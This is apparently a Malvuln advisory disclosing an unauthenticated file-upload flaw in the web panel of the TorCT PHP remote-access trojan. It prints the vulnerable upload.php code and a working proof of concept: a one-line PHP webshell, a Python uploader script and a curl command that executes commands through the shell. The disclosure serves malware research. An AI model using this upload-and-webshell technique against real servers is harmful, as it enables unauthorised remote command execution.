BuilderTorCTPHPRAT.b Shell Upload

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/838f67d7a4b6824ec59892057aab3bb7_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: BuilderTorCTPHPRAT.b  
Vulnerability: Arbitrary File Upload - RCE  
Family: TorCTPHPRAT  
Type: WebUI  
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)  
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)  
Vuln ID: MVID-2022-0519  
Disclosure: 03/17/2022  
Description: The TorCT client malwares web-panel allows unauthenticated uploads and does not check the expected file type E.g. ".png". Third-party attackers who can reach the server can upload their own backdoor PHP webshell and execute any commands on the malwares C2 server.  
  
"upload.php" vulnerable code:  
  
$DelOrNot = $_GET['D'];  
  
if ($DelOrNot == "true")  
{  
  
unlink('Upload/1.png');  
unlink('Upload/2.png');  
}else{  
  
$uploadDir = 'Upload/';   
$uploadFile = $uploadDir . basename($_FILES['file']['name']);  
if (is_uploaded_file($_FILES['file']['tmp_name']))   
{  
echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";  
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))   
{  
echo "File is successfully stored! ";  
}  
else print_r($_FILES);  
}  
else   
{  
echo "Upload Failed!";  
print_r($_FILES);  
}  
}  
  
  
Exploit/PoC:  
1) Create PHP webshell "pwn.php", exec($_GET['cmd']);  
  
2) Create Python uploader "torct_webshell.py"  
import requests  
  
url="http://TORCT_PHP_RAT_SERVER/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload.php"  
  
files = {'file': open('pwn.php', 'rb')}  
r = requests.post(url, files=files)  
if r.status_code==200:  
print(r.status_code)  
print("TorCTPHPRAT PWNED!")  
  
3) Exploit  
curl "http://127.0.0.1/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload/pwn.php?cmd=calc.exe"  
  
  
  
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`